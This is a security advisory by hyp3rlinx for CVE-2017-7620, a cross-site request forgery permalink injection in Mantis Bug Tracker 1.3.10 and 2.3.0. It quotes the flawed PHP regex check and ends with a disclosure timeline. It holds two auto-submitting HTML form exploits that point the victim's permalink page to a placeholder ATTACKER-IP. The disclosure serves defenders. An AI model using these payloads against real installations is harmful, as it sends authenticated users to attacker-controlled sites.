Mantis Bug Tracker 1.3.10 / 2.3.0 Cross Site Request Forgery

`[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
================  
www.mantisbt.org  
  
  
  
Product:  
=========  
Mantis Bug Tracker  
1.3.10 / v2.3.0  
  
  
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.  
  
  
  
Vulnerability Type:  
========================  
CSRF Permalink Injection  
  
  
  
CVE Reference:  
==============  
CVE-2017-7620  
  
  
  
Security Issue:  
================  
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.  
  
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.  
Line: 270  
  
# Check for URL's pointing to other domains  
  
if( 0 == $t_type || empty( $t_matches['script'] ) ||  
  
3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {  
  
  
  
return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';  
  
}  
  
  
  
# Start extracting regex matches  
  
$t_script = $t_matches['script'];   
$t_script_path = $t_matches['path'];  
  
  
  
  
Exploit/POC:  
=============  
<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">  
<script>document.forms[0].submit()</script>  
</form>  
  
OR  
  
<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
Medium  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: April 9, 2017  
Vendor Release Fix: May 15, 2017  
Vendor Disclosed: May 20, 2017  
May 20, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`